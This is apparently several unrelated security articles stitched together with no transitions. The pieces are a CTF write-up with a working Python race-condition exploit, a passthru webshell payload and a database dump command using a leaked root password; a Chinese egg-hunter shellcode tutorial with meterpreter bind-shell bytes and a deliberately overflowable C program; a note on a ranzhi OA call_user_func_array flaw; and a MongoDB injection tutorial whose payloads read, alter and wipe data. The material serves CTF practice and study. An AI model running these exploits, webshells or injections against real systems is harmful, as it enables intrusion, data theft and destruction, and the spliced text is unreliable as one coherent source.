Now using the pre-generated code `aklhic` we are able to **create a new user**
browsing to `http://47.97.221.96:23333/index.php?action=register`
Nice, logged in.
Browsing the web application features, we can publish some content.. and set
the `Allow different ip to login`flag to current user. Nothing more..
..nothing more unless you have the `is_admin=1` flag set on your cookie.
As you can see, this flag enables the file sending option, **a good way to get
our RCE**.
#### How to set the is_admin=1?
Code set this flag to 1 if the login/register POST are from the correct IP, I
bet it was `127.0.0.1`.
The `get_ip()` function is strictly reading the `REMOTE_ADDR`, I think i
cannot spoof this value.
#### Trying session cookie code injection
First idea is inject some `<?php code ?>` on cookie session file that I can
launch from LFI.
Now we have more information stored on the cookie file, but only `username` I
can control. And this is properly filtered.
This check is blocking invalid usernames. We cannot create a new user with
some code on it.
#### Trying SQL injection
So, our next idea is checking for some SQL injection.
The queries are very simple and the Db() controller are not properly filtering
this. But the code are.
Sometimes it is converting the type to `(int)` before sending to query. It
breaks our SQLi attempts.
In other cases like `insert()` it is filtering using the `preg_match()`.
I think it is possible to bypass the `(int)` sending an `array[]` or something
like this, and I'm sure this is vulnerable to SQLi by other ways, but no
success on my tries. **(if you know how to do this plz tell me)**
#### Object Injection? POP Chain?
We know the unserialize + PHP are **ALWAYS VULNERABLE**.
This `unserialize()` of the `mood object` is very suspicious. Mood class does
not have any php magic function that we can abuse, but the Db{} has.
Ok, but how trigger this?
I created this serialized object locally to a deep inspection.
<?php
class Mood{
public $mood, $ip, $date;
public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();
}
public function getcountry()
{
$ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
$ip = json_decode($ip,true);
return $ip['data']['country'];
}
public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}
}
$_POST['mood'] = 1;
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],"127.0.0.1")));
#$mood = serialize(new Mood((int)$_POST['mood'],"127.0.0.1"));
echo $mood;
// $mood = unserialize($mood);
// $country = $mood->getcountry();
// print $country;
?>
..and confirmed that I only can control the mood id, that one converted to
integer before to get inside the serialized object. Again, no injection
because the conversion.
#### XSS? SSRF?
Maybe there a PhantomJS or some script browsing to my publications?
> If we are able to trigger a **SSRF** , I was able to craft a POST and set my
> user as **is_admin=1**!
Nope, we have the Dockerfile showing every system changes, and leaked a lot of
things that indicate this is not happening. Also there's a `htmlentities()`
and other things filtering our XSS tries, and `javascript:` didn't work
outside a `<tag>`.
## Emulating locally the remote environment
After a lot of frustrated tries, we decided to move back to enumeration
searching another attack vector.
So, Dockerfile shows us that they used a **public repository** to create the
base system for this challenge.
I pulled this to my machine, sync'd everything, got a rootshell on it and
started the Container enumeration.
The only things that I cannot sync was of course the `ADD nu1lctf.tar.gz
/app/` and
`COPY sql.sql /tmp/sql.sql` containing the challenge data.
# Unintend way to RCE/Flag
Checking the environment we noticed that the challenger made a
mistake(intentionally probably) while removing the `/var/www/phpinfo` folder
on `/run.sh` script.
He missed the `-r` and it will leave the folder on environment w/ all its
contents!
Nice! Different from that useless `/app/views/phpinfo` that are running over
command-line, now we have this `phpinfo();` that we can reach directly from
web server and interprets our `GET` and `POST requests`!
#### And, why this `phpinfo()` is dangerous?
Remember the challenge description:
Not racing, just enjoying the slow pace of life :)
I do not like the slow pace of life and decided to try a well known race
condition exploit on it.
* [PHP LFI to arbitratry code execution via rfc1867 file upload temporary files](http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)
[Gynvael Coldwind](https://twitter.com/gynvael?lang=en) wrote this awesome
paper about a Race Condition that can be exploited abusing the PHP File Upload
function. Btw our **php5.5.9** is vulnerable to this issue.
In order to exploit this we need to launch a `multi-thread` script to `flood
the PHP Job queue w/ junk` and we have a `little time window` to `access this
temporary created files` before it was automatically deleted.
> The random_value is later written as 6 digits of k=62 (A-Za-z0-9 charset)
> numeric system, and appended to the "/tmp/php" prefix (unless another
> directory is set),
> e.g. /tmp/phpUs7MxA. -- Gynvael
Also found this another paper from
[[email protected]](mailto:%[email protected]):
* [LFI with PHPInfo assitance (includes PoC)](https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)
I tried to use the **Insomniasec PoC** described on paper but no success,
maybe because some chinese server conditions and settings, I don't know what
happened.
Instead of troubleshooting that PoC and to learn a new thing, following the
**Gynvael** and **Insomniasec** papers we decided to write a new exploit from
scratch troubleshooting every step on my local docker environment.
## Final exploit
## PHP : Winning the race condition vs Temporary File Upload - PHPInfo() exploit
# Alternative way to easy_php @ N1CTF2018, solved by intrd & shrimpgo - p4f team
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/
## passwords.txt payload content
# <?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>
import sys,Queue,threading,hashlib,os, requests, pickle, os.path, re
from subprocess import Popen, PIPE, STDOUT
NumOfThreads=50
queue = Queue.Queue()
class checkHash(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue=queue
def run(self):
i=0
while True:
self.clear=self.queue.get()
passtry = self.clear
if passtry != "":
padding="A" * 5000
cookies = {
'PHPSESSID': 'o99quh47clk8br394298tkv5o0',
'othercookie': padding
}
headers = {
'User-Agent': padding,
'Pragma': padding,
'Accept': padding,
'Accept-Language': padding,
'DNT': '1'
}
files = {'arquivo': open('passwords.txt','rb')}
reqs='http://47.97.221.96:23333/index.php?action=../../var/www/phpinfo/index.php&a='+padding
#reqs='http://172.17.0.2:80/index.php?action=../../var/www/phpinfo/index.php&a='+padding
response = requests.post(reqs, headers=headers, cookies=cookies, files=files, verify=False)
data = response.content
data = re.search(r"(?<=tmp_name] => ).*", data).group(0)
print data
reqs = 'http://47.97.221.96:23333/index.php?action=../..'+data
#reqs = 'http://172.17.0.2:80/index.php?action=../..'+data
print reqs
response = requests.get(reqs, verify=False)
data = response.content
print data
i+=1
self.queue.task_done()
for i in range(NumOfThreads):
t=checkHash(queue)
t.setDaemon(True)
t.start()
for x in range(0, 9999):
x=str(x)
queue.put(x.strip())
queue.join()
[view
raw](https://gist.github.com/intrd/35483ae252c66ee3d11f7acfa7379749/raw/76488b0d95a9fd7e5a2bd3c8bbc929a45590238f/phpinfo_exploit.py)[phpinfo_exploit.py](https://gist.github.com/intrd/35483ae252c66ee3d11f7acfa7379749#file-phpinfo_exploit-py) hosted with ❤ by [GitHub](https://github.com/)
The idea behind this code is generate a lot of junk on headers, cookies, uri
and POST all the shit including your `payload.txt` to the phpinfo endpoint.
If the File Upload work, the `phpinfo()` will respond with the `temporary file
path`.
You aren't fast enough to access this file before it was processed/deleted by
PHP. But the multi-thread script are!
This is the _payload_ that will be executed if some thread are fast enought to
hit.
<?php $c=fopen('/app/intrd','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>
It will create `/app/intrd`, a webshell that we have access though LFI!
I choose this path because I'm sure this is writable:
But remember..
We are not at an advantage in this race.
There are a fucking `rm -rf /tmp/*;` running `every 2 seconds` on the system.
We have the worst scenario possible:
* This job deleting everything on /tmp every 2s;
* PHP deleting temporary files after processing.
* Chinese server - Other side of the world for me (Brazil);
* Lot of players bruteforcing the application turning the response insanely slow.
Anyway, why not give a try?
So, I launched my exploit locally.
While the Race Condition exploit are running w/ `50 threads`, I keep checking
the existence of my webshell at `/app/intrd`.
And, after a few minutes, it worked like a charm! We got our RCE at the
controlled environment.
### China number one
So, when I tried the exploit remote I have not had the same luck `:(`.
Of course the Chinese server are too far from me, and the brazilian ISP sucks
a lot, `tracert` indicates that there's a single Embratel node sucking more
than 200ms, ending w/ the total ping response `650ms+`.
But it become personal, we would not give up at this point.
So we decided to shorten the distance and travel (virtually) near to China!
Thanks [DigitalOcean](https://m.do.co/c/d9e7f6bd0a56)!
`350ms` now i'm ok to launch my exploit from a VPS hosted on `Bagalore`!
And after about 1 hour trying, finally got my webshell written to the `/app`
folder.
I think the players loading the server's CPU with bruteforce shit helped me a
lot slow-ling the php queue this time.
I quickly upgrade this RCE to a reverse shell.
### Where's the flag?
So, knowing the docker environment, and excluding the nu1lctf.tar.gz content,
that at this point we had already been digging into everything. My bet was the
MySQL database.
Remember the `mysql root password` leaked on the beginning? I used this to
`dump all the databases to a file` and **greped** for the flag prefix.
mysqldump -uroot -pNu1Lctf\%\#~\:p --all-databases > /app/intdbs.sql
A HUGE win!
Also, the flag text confirmed the intended way was that first path we were
following.
**PHP unserialize + SSRF + CRLF Injection** , Jesus, we have no time to learn
this today. Hey, Easy? :p
Learned a lot in a single chall.
Awesome CTF [Nu1L .Cyberpeace](http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/n1ctf.xctf.org.cn/), unfortunately we did not have time to
try the other challenges but I'm sure they were as well developed as this one!
And thanks @[shrimpgo](https://www.linkedin.com/in/renatocarneirop/), awesome
team up and brainstorms!
# UPDATE: Expected solution (PHP unserialize + SSRF + CRLF Injection)
* [ezphp - official writeup](http://wupco.cn/hctf/ezphp.pdf) by wupcode (admin) | 社区文章 |
## 简介
最近看到一种比较有意思的利用溢出利用手段，叫做Egg Hunter，貌似中文翻译为寻找复活节彩蛋。
先简单介绍下什么是Egg Hunter，顾名思义，Egg
Hunter由两部分组成，一部分是Egg，一部分是Hunter。在溢出的场景中，溢出的字节有限的情况下，比较大的shellcode(Egg)塞不进去，那就把大的shellcode放到内存的其他地方，在有限的溢出空间中用小的shellcode(Hunter)，去寻找大的shellcode来执行。
Egg就是大的shellcode，Hunter就是小的shellcode。类比于web漏洞挖掘中的“小马传大马”。
在查阅相关资料发现，这种技术最早应该是由skape在2004年提出的，文章叫《Safely Searching Process Virtual
Address Space》。链接如下：
> <http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf>
## 基本原理
1. Egg Hunter
《Safely Searching Process Virtual Address Space》对Egg
Hunter介绍的比较详细了，如果感兴趣的可以去读原文。
一句话介绍原理：全内存扫描带有指定关键字的代码。
因此Egg Hunter主要是如下两个关键点：
1) 内存扫描
一般的做法是直接从0x0000开始，通过递增地址，来取内存的值。但是程序运行的内存不是所有地址都能正常访问，比如几乎所有程序的0x0000都不可访问，所以需要有一个判断内存是否可访问的逻辑。
在Skape的文章中罗列了几种判断方式：
Linux下使用access、sigaction等内核函数来做判断，如果地址不可访问，这些函数会返回0xf2。
Windows下也有类似的函数，如IsBadReadPtr、NtDisplayString函数。
> 注：metasploit生成的Egg hunter使用的是NtAccessCheckAndAuditAlarm函数，原理一致。
如果当前地址不可访问，则跳到下一个内存页。因为内存一般都是4k大小页对齐的，所以当前地址无法访问则可以判定该地址所在内存页都无法访问，可以提高扫描速度。
这一步骤也是Egg
Hunter的核心，可能花费较长的时间，而且可能造成CPU使用率飙升。在实际应用中可以结合场景进行优化，例如Egg放到了栈中，则可以从栈顶开始搜索。具体情况具体分析，骚姿势可以有很多。
2) 对比关键字
由于需要扫描内存来找到我们的Egg，那么一定要有个独特的标记，来表示我们找到了。因此不建议直接拿shellcode的前几个字节作为标记(不够独特)，而是由我们自己指定标记，如0x50905090、0x5a5a5a5a等等，反正就是要独特，然后放到shellcode的前面。
这里需要注意的是，我们的标记虽然独特了，但是在内存中除了Egg具有这个标记，Hunter页带了这个标记(毕竟是要做比较的)。。。
为了解决这个问题，Skape的建议是Egg的标记重复两次，比如Egg的开头是0x5090509050905090，Hunter在比较的时候，连续比较两次0x50905090，则认为找到Egg。
2. SEH
如果看了Skape文章的话，会发现在判断内存是否可以访问的逻辑中，除了调用内核函数直接判断，他还提出了在Windows下可以利用SEH的方式来处理。
SEH全称structured exception handling，简单来说就是异常处理。应用在Egg
Hunter中，就是在出现地址不可访问的时候，直接到SEH中进行统一的处理，来屏蔽这个异常。
Windows采用了链表的方式来构造，在出现异常的时候通过遍历链表，找到第一个能处理异常的SEH来执行。
SEH的结构体如下：
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD *Next; //这里指向链表中的下一个SEH
EXCEPTION_DISPOSITION (*Handler)(
struct _EXCEPTION_RECORD *record,
void *frame,
struct _CONTEXT *ctx,
void *dispctx);
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
SEH链表头为fs:[0]，fs是一个段寄存器，fs:[0]指向第一个SEH结构体的地址。第一个SEH结构体通过Next指针指向下一个SEH结构体。
在c语言中，我们可以在代码中通过try/exception来自己注册SEH，如下：
int main()
{
__try //可以编译一个程序通过IDA查看，发现在__try之前，编译器就帮忙注册了相应的SEH
{
//TODO
}
__except(MyExceptionhander()){}
}
但是我们的Hunter又不是在编译阶段塞到程序里的，因此我们想要用一个SEH来处理内存地址访问异常，那就需要自己注册一个SEH。
既然SEH本身是个链表结构，那注册的方式就简单了，直接把fs:[0]的地址指向我们的SEH即可，为了避免SEH链表出现异常，我们在自己的SEH结构体中把Next指向0xffffffff，这样注册完，整个SEH链表中就只有我们这一个SEH了。
## ShellCode分析
Skape给出利用SEH的Egg Hunter的shellcode如下，我们可以分为三部分来看：
***************第一部分：注册SEH***************
00000000 EB21 jmp short 0x23 //这里开头就跳到0x23，然后在call回来，是为了获取SEH处理函数的地址
00000002 59 pop ecx //将SEH处理函数的地址放入ecx
00000003 B890509050 mov eax,0x50905090
00000008 51 push ecx //SEH结构体中的handler
00000009 6AFF push byte -0x1 //SEH结构体中的Next
0000000B 33DB xor ebx,ebx
0000000D 648923 mov [fs:ebx],esp //将SEH注册到fs:[0]
***************第二部分：扫描内存***************
00000010 6A02 push byte +0x2
00000012 59 pop ecx //ecx=2，作为循环变量，repe scasd可执行两次
00000013 8BFB mov edi,ebx //edi就是当前地址
00000015 F3AF repe scasd //比较edi和eax，eax是上文的0x50905090，也是访问发生异常的地方
00000017 7507 jnz 0x20 //比较失败
00000019 FFE7 jmp edi //比较成功，直接跳去edi执行shellcode
0000001B 6681CBFF0F or bx,0xfff //异常处理后的返回到这里，跳到下一内存页
00000020 43 inc ebx //扫描地址+1
00000021 EBED jmp short 0x10 //继续扫描
00000023 E8DAFFFFFF call 0x2
***************第三部分：SEH处理函数***************
00000028 6A0C push byte +0xc
0000002A 59 pop ecx
0000002B 8B040C mov eax,[esp+ecx] //esp+0xc是SEH handler的第三个入参struct _CONTEXT *ctx
0000002E B1B8 mov cl,0xb8
00000030 83040806 add dword [eax+ecx],byte +0x6 //*ctx+0xb8是SEH处理完成后返回的eip，发生访问异常的地址0x00000015，将其+0x6后，返回到0x0000001B
00000034 58 pop eax //后续是为了维护堆栈平衡，保留返回地址，并将handler的四个入参弹栈，不过多赘述
00000035 83C410 add esp,byte +0x10
00000038 50 push eax
00000039 33C0 xor eax,eax
0000003B C3 ret
## 实战
为了演示该Egg Hunter是如何工作的，写了个程序，演示环境如下
操作系统: Windows 2000(建议使用Virtual Box)
编译器： VC6.0 (建议使用release版本调试)
调试器： OllyDbg
演示程序模拟了一个邮件发送逻辑，填写message和email address，并备份email address。
其中备份email address的函数中存在栈溢出，但是溢出的空间有限，加返回地址仅64字节。
我们可以通过message，向内存中预先写入大的shellcode，如打开443端口，并接收metasploit的连接。在email
address这个有限的空间中写入我们的Egg Hunter，去寻找我们的大的shellcode。
代码如下：
#include <windows.h>
#include <stdio.h>
void email_backup(char * input)
{
char buf[56];
//__asm int 3;
strcpy(buf, input); //此处栈溢出
return;
}
main()
{
/*unsigned char message[] = "\x5a\x5a\x5a\x5a\x5a\x5a\x5a\x5a" //EGG标志位: ZZZZZZZZ
//shellcode为metasploit生成的，在本机打开443端口方便远控，msf的命令如下：
//msfvenom -a x86 --platform windows -p windows/meterpreter/bind_tcp LPORT=443 -e x86/alpha_mixed -b "\x00\xd5\x0a\x0d\x1a\x03" -f c
"\xbf\xac\xf2\x9c\xfd\xda\xdb\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x4e\x83\xc2\x04\x31\x7a\x0f\x03\x7a\xa3\x10\x69\x01\x53\x56"
"\x92\xfa\xa3\x37\x1a\x1f\x92\x77\x78\x6b\x84\x47\x0a\x39\x28"
"\x23\x5e\xaa\xbb\x41\x77\xdd\x0c\xef\xa1\xd0\x8d\x5c\x91\x73"
"\x0d\x9f\xc6\x53\x2c\x50\x1b\x95\x69\x8d\xd6\xc7\x22\xd9\x45"
"\xf8\x47\x97\x55\x73\x1b\x39\xde\x60\xeb\x38\xcf\x36\x60\x63"
"\xcf\xb9\xa5\x1f\x46\xa2\xaa\x1a\x10\x59\x18\xd0\xa3\x8b\x51"
"\x19\x0f\xf2\x5e\xe8\x51\x32\x58\x13\x24\x4a\x9b\xae\x3f\x89"
"\xe6\x74\xb5\x0a\x40\xfe\x6d\xf7\x71\xd3\xe8\x7c\x7d\x98\x7f"
"\xda\x61\x1f\x53\x50\x9d\x94\x52\xb7\x14\xee\x70\x13\x7d\xb4"
"\x19\x02\xdb\x1b\x25\x54\x84\xc4\x83\x1e\x28\x10\xbe\x7c\x24"
"\xd5\xf3\x7e\xb4\x71\x83\x0d\x86\xde\x3f\x9a\xaa\x97\x99\x5d"
"\xcd\x8d\x5e\xf1\x30\x2e\x9f\xdb\xf6\x7a\xcf\x73\xdf\x02\x84"
"\x83\xe0\xd6\x31\x8f\x47\x89\x27\x72\x1d\x28\xc2\x8f\x89\xc0"
"\x1d\x4f\xa9\xea\xf7\xf8\x41\x17\xf8\x07\x2a\x9e\x1e\x6d\x5c"
"\xf7\x89\x1a\x9e\x2c\x02\xbc\xe1\x06\xe8\x82\x68\xf1\xa4\x6a"
"\x25\xe8\x73\x94\xb6\x3e\xd4\x02\x3c\x2d\xe0\x33\x43\x78\x40"
"\x23\xd3\xf6\x01\x06\x42\x06\x08\xf2\x84\x92\xb7\x55\xd3\x0a"
"\xba\x80\x13\x95\x45\xe7\x20\xd2\xba\x76\x0b\xa8\x8d\xec\x13"
"\xc6\xf1\xe0\x93\x16\xa4\x6a\x93\x7e\x10\xcf\xc0\x9b\x5f\xda"
"\x75\x30\xca\xe5\x2f\xe4\x5d\x8e\xcd\xd3\xaa\x11\x2e\x36\xa9"
"\x56\xd0\xc7\xa9\xa7\x13\x1e\x70\xd2\x7a\xa2\xc7\xed\xc9\x87"
"\x6e\x64\x31\x9b\x71\xad";
char email[] =
//Hunter
"\xeb\x21\x59\xb8"
"\x5a\x5a\x5a\x5a\x51\x6a\xff\x33"
"\xdb\x64\x89\x23\x6a\x02\x59\x8b"
"\xfb\xf3\xaf\x75\x07\xff\xe7\x66"
"\x81\xcb\xff\x0f\x43\xeb\xed\xe8"
"\xda\xff\xff\xff\x6a\x0c\x59\x8b"
"\x04\x0c\xb1\xb8\x83\x04\x08\x06"
"\x58\x83\xc4\x10\x50\x33\xc0\xc3"
"\xe0\xfd\x12\x00"; //0x0012fde0是栈溢出后的返回地址，指向Hunter的起始地址，需结合实际环境进行调整
*/
char message[1024];
char email[256];
printf("Please input message:\n");
gets(message);
printf("This is your message: %s\n", message);
printf("Please input email address:\n");
gets(email);
printf("This is your email address: %s\n", email);
email_backup(email);
return 0;
} | 社区文章 |
这个漏洞比较有趣，写出来给大家分享一下
这个漏洞影响的版本有ranzhi协同oa<=4.6.1(包含专业版)还有喧喧及时聊天系统<=1.3
出问题的地方是喧喧聊天系统，由于然之开源版和专业版自4.0之后都自带这个聊天系统，所以都会被影响
从官网下周然之4.6.1之后首先看ranzhi\www\xuanxuan.php,这个文件是喧喧的入口，加载的模块在ranzhi\framework\xuanxuan.class.php，由于聊天信息是用aes加密过的，初始的密钥是88888888888888888888888888888888，我相信没有几个人会去改的吧，所以漏洞一开始就已经埋下来了
再往下看，看到118行的parseRequest这个函数，看看这个系统是怎么处理传递进来的参数的
首先，从原始post数据获取数据，解密，获取userID，module，method，params这几个参数，其中userID的用户id，module是调用模块，method是调用的方法，params是传递的参数，这里有一个限制，模块只能加载chat里面的，也就是只能加载和调用ranzhi\app\sys\chat\control.php这里面的函数，由于调用的函数名可以控制，其实可以调用继承的父类种函数，对，这个漏洞最关键一点是可以调用父类函数，看一下，这个chat类继承于control
control类在ranzhi\framework\control.class.php，可以看到这个类里面只有一个函数就是fetch函数，但是这个类又继承了baseControl这个类，但是已经不重要了，用这个函数就可以了
这个函数在前面检查模块是否存在之后就把参数放入call_user_func_array中了
call_user_func_array(array($module, $methodName),
$params);这个函数的调用相当于$module::$methodName($params),$methodName只能是public类型才可以，可以利用call_user_func_array调用php的任意内置类的public函数，也可以调用include的任意类，所以我在不断尝试之后，最终选择调用baseDAO类的query函数去操纵数据库，添加一个管理员账号，因为然之后台可以查看网站的绝对地址：
数据库密码：
执行任意命令： | 社区文章 |
# MongoDB特性注入
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
**MongoDB**
> MongoDB 属于 NoSQL
> 数据库的一种，是由C++语言编写的一个基于分布式文件存储的开源数据库系统，旨在为Web应用提供可扩展的高性能数据存储解决方案。在高负载的情况下，添加更多的节点，可以保证服务器性能。
>
> MongoDB 将数据存储为一个文档，数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON
> 对象。字段值可以包含其他文档，数组及文档数组。
MongDB 数据库一共两个端口
> 27017: MongDB的数据库端口
>
> 28017: MongDB的web管理接口
php5 的 MongoDB 扩展比 php7 的好用，测试最好用 php5 的 MongoDB 扩展，本文所有环境均在 **php
5.5.9|MongoDB 2.0.4** 下测试，windows系统，如有更换环境会提前注释说明。安装 MongDB
扩展[在这](https://pecl.php.net/package/mongo/1.6.10/windows)，两版本操作对比如下
php5
(new MongoClient())->{$db}->{$collection}->findOne(['_id' => $id]);
php7
$mongo = new MongoDB\Driver\Manager();
$query = new MongoDB\Driver\Query(array(
'_id'=>$id
));
$result = $mongo->executeQuery('db.collection', $query)->toArray();
// 返回的$result是一个对象，需要 toArray() 转换成数组。
## 基础概念
SQL 概念 | MongoDB 概念 | 说明
---|---|---
database | database | 数据库
table | collection | 数据库表/集合
row | document | 数据记录行/文档
column | field | 数据字段/域
index | index | 索引
table joins | | 表连接，MongoDB 不支持
primary key | primary key | 主键，MongoDB 自动将 `_id` 字段设置为主键
## 基础语法
开启数据库
mongod -dbpath 绝对路径\data\db
连接数据库
mongo
显示所有数据库的列表
show dbs
使用/创建数据库
use test
删除数据库
db.dropDatabase()
创建集合
db.createCollection("users")
# 创建固定集合 history，整个集合空间大小 6142800 B, 文档最大个数为 10000 个
db.createCollection("history", { capped : true, autoIndexId : true, size : 6142800, max : 10000 } )
# 在 MongoDB 中，你不需要创建集合。当你插入一些文档时，MongoDB 会自动创建集合
db.users.insert({"username" : "admin", "password": "admin123"})
删除集合
db.users.drop()
插入文档
db.users.insert({
username:"admin",
password:"admin123"
})
更新文档
db.users.update({'password':'admin123'},{$set:{'password':'flag{Mo4g0_1nj3cti0n_g4m2!}'}})
save
db.users.save(
<document>,
{
writeConcern: <document>
}
)
删除文档
db.users.remove(
<query>,
{
justOne: <boolean>,
writeConcern: <document>
}
)
格式化(使得输出更美观)
> db.users.find({username:'admin'}).pretty()
{
"_id" : ObjectId("611102a8093f2b542d000029"),
"userid" : 0,
"username" : "admin",
"password" : "flag{Mo4g0_1nj3cti0n_g4m2!}"
}
## 注入方式
首先初始化一个用户组，方便后续测试，运行或者访问皆可
<?php
$m = new mongoclient();
$db = $m->test;
$coll = $db->users;
$ch = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwsyz';
$data = array(
'userid'=>0,
'username'=>'admin',
'password'=>'flag{Mo4g0_1nj3cti0n_g4m2!}'
);
$coll->insert($data);
for ($i=1; $i < 10; $i++) {
$str = '';
for ($j=1; $j < 10; $j++) {
$str .= $ch[rand(0, strlen($ch)-1)];
}
$data = array(
'userid'=>$i,
'username'=>'user'.$i,
'password'=>$str
);
$coll->insert($data);
}
echo 'Init finish!';
?>
### find查找注入
#从当前数据库的集合user中查找id大于1文档
db.users.find({'id':{$gt:1}})
常用语法
$gt : > {“field”: {$gt: value}}
$lt : < {“field”: {$lt: value}}
$gte: >= {“field”: {$gte: value}}
$lte: <= {“field”: {$lte: value}}
$eq : = {“field”: {$eq: value}}
$ne : !=、<> {“member.age”: {$ne: “mine”}}
$exists 存在与否 {“couponsCode.0”: {$exists: 1}} #数组存在第一条数据
$in : in 包含 {“member.age”: {$in: [null], “$exists: true”}}
$or:or || 或者 {“$or”: [{“member.age”: “23”}, {“member.name”: “23333”}]}
$not: 反匹配(1.3.3及以上版本)
$and:and && 并且 {“$and”: [{“member.age”: “23”}, {“member.name”: “23333”}]}
$regex 正则匹配 ({“name”:{“$regex”:’^a$’}})
$size 元素个数 ({“name”:{“$size”:3}}) # $size name元素数为3
**有回显数组注入**
<?php
/*
* @ mongo find echo injection
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$mongo = new MongoClient();
$db = $mongo->test;
$coll = $db->users;
$username = $_GET['u'];
$password = $_GET['p'];
$data = array(
'username'=>$username,
'password'=>$password
);
xdebug_var_dump($data);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</p>";
}
}
else{
echo 'Cannot find users :(';
}
?>
结合 php 可以传递数组的性质，我们在不知道账号密码的情况下通过不等于带出
db.users.find({"username": {"$ne": "1"},"password": {"$ne": "1"}})
也就是
?u[$ne]=1&p[$ne]=1
如果为了匹配其中一条信息，则可以用 $regex 带出
> db.users.find({"username": {"$regex": "^a"},"password": {"$regex": ".*"}})
{ "_id" : ObjectId("610fac3edb8c2e7a7384e3e9"), "password" : "flag{Mo4g0_1nj3cti0n_g4m2!}", "username" : "admin" }
也就是
?u[$regex]=^a&p[$regex]=.*
**有回显拼接注入**
<?php
/*
* @ mongo find echo injection2
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = $_GET['u'];
$password = $_GET['p'];
$query = "function(){var data = db.users.findOne({username:'$username',password:'$password'});return data;}";
$mongo = new mongoclient();
$db = $mongo->test;
xdebug_var_dump($query);
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</p>";
}else{
echo 'Cannot find users :(';
}
}else{
echo $data['errmsg'];
}
?>
这一次就无法进行数组注入了, 因为数组拼接后会只显示 Array 字眼, 需要拼接 function 内的语句进行注入
?u=&p='});var data=db.users.findOne({"username": {"$ne": "1"},"password": {"$ne": "1"}});return data;}//
自己窜写 data 变量，相当于重新赋值
function(){var data = db.users.findOne({username:'',password:''});var data=db.users.findOne({"username": {"$ne": "1"},"password": {"$ne": "1"}});return data;}
//'});return data;}
也可以直接从 return 下手
u=&p='});return db.users.findOne({"username": {"$ne": "1"},"password": {"$ne": "1"}});}//
好像是高版本不支持注释，那就尝试其它的payload
?u=&p='});var data=db.users.findOne({'username': {'$ne': '1'},'password': {'$ne': '1'}});var fuck=({'test':'1
?u=&p='});data=db.users.findOne({'username': {'$ne': '1'},'password': {'$ne': '1'}});var fuck=({'test':'1
覆盖值的时候多赋值一个变量
这种情况下也可以理所当然的查值，爆版本集合，类似联合注入
?u='});return ({username:db.version(),password:tojson(db)});var fuck = ({'test':'&p=1
?u='});return ({username:db.version(),password:tojson(db.getCollectionNames())});var fuck = ({'test':'&p=1
?u='});return ({username:db.version(),password:tojson(db.users.find())});var fuck = ({'test':'&p=1
这样子会爆出类似 mongdb find() 函数的脚本
那就一行行带出
?u='});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
既然有这样的function可插入那么中间就可以进行多条语句执行
# 添加
?u='});db.users.insert({username:'hack',password:'hack'});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
# 删除
?u='});db.users.remove({username:'hack',password:'hack'});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
# 更新
?u='});db.users.update({username:'test'},{$set:{'password':'12345678'}});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
# 删库
?u='});db.users.remove({});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
可以这么做的原因我们可以跟进一下 execute 方法，会发现是直接执行一条数据库的命令。
可能是太危险了… MongoDB 2.4 之后 `db` 属性就已经访问不到了，也就是我们不能再通过上述语句进行操作了。
**find 布尔盲注**
<?php
/*
* @ mongo find bind injection
*/
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = $_GET['u'];
$password = $_GET['p'];
$query = "function(){var data = db.users.findOne({username:'$username',password:'$password'});return data;}";
$mongo = new mongoclient();
$db = $mongo->test;
xdebug_var_dump($query);
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
if($data['retval']['username'] == 'admin') {
echo 'welcome admin';
}else{
echo 'welcome user, you are not admin!';
}
}else{
echo 'Cannot find users :(';
}
}else{
echo $data['errmsg'];
}
?>
也就是要是成功查询到了这一条一句就会给出正确回应，相反则是给出查无此用户的回应，我们可以通过 **伪造admin** 进行登录，在不知道密码的情况下
?u='});return ({username:'admin',password:''});var fuck = ({'test':'&p=1
如果想要爆出集合和数据，得利用判断条件
?u='});if(db.version()[0]=='2'){return ({username:'admin',password:''})};var fuck = ({'test':'&p=1
通过是否登录为 admin 来判断字符是否正确
